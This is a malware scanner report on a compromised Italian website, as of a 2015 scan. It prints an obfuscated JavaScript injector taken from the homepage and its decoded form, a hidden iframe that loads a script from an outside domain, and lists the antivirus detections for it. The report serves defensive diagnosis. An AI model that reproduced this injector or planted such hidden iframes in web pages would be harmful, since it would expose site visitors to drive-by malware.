New scan:

Malware Scanner report for wirelesslan-italia.com

Malicious/Suspicious/Total urls checked
1/0/3
1 page has malicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "wirelesslan-italia.com" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=wirelesslan-italia.com

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://wirelesslan-italia.com/
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Tue, 13 Jan 2015 18:49:23 GMT
Location: http://www.wirelesslan-italia.com/
Server: Apache
Content-Length: 242
Content-Type: text/html; charset=iso-8859-1
clean
http://www.wirelesslan-italia.com/
200 OK
Content-Length: 2248
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

function c274acb4b1h4a11600e0ed1f(h4a11600e0f4ef){ function h4a11600e0fcbf(){return 16;} return (parseInt(h4a11600e0f4ef,h4a11600e0fcbf()));}function h4a11600e10c5d(h4a11600e1142b){ function h4a11600e12b9a(){var h4a11600e1336a=2;return h4a11600e1336a;} var h4a11600e11bfb='';h4a11600e13b39=String.fromCharCode;for(h4a11600e123cd=0;h4a11600e123cd<h4a11600e1142b.length;h4a11600e123cd+=h4a11600e12b9a()){ h4a11600e11bfb+=(h4a11600e13b39(c274acb4b1h4a11600e0ed1f(h4a11600e1142b.substr(h4a11600e123cd,
... 1141 bytes are skipped ...
r00+'342533642533312533342532302537'+r00+'332537'+r00+'342537'+r00+'39253663253635253364253237'+r00+'2537'+r00+'362536392537'+r00+'332536392536322536392536632536392537'+r00+'342537'+r00+'39253361253638253639253634253634253635253665253237'+r00+'2533652533632532662536392536362537'+r00+'3225363125366425363525336527'+r00+'29293B7'+r00+'D7'+r00+'6617'+r00+'2206D7'+r00+'969613D7'+r00+'47'+r00+'27'+r00+'5653B3C2F7'+r00+'3637'+r00+'2697'+r00+'07'+r00+'43E';document.write(h4a11600e10c5d(h4a11600e14309));

Decoded script:


<iframe name=c27 src='http://extraspray.com/in.php?'+Math.round(Math.random()*2030)+'789996' width=145 height=14 style='visibility:hidden'></iframe>

Antivirus reports:

Microsoft
Exploit:HTML/IframeRef.CQ
NANO-Antivirus
Trojan.Url.IframeB.vfvwf

http://www.wirelesslan-italia.com/test404page.js
404 Not Found
Content-Length: 212
Content-Type: text/html
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: wirelesslan-italia.com

Result:
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Tue, 13 Jan 2015 18:49:23 GMT
Location: http://www.wirelesslan-italia.com/
Server: Apache
Content-Length: 242
Content-Type: text/html; charset=iso-8859-1

...242 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: wirelesslan-italia.com
Referer: http://www.google.com/search?q=wirelesslan-italia.com

Result:
The result is similar to the first query. There are no suspicious redirects found.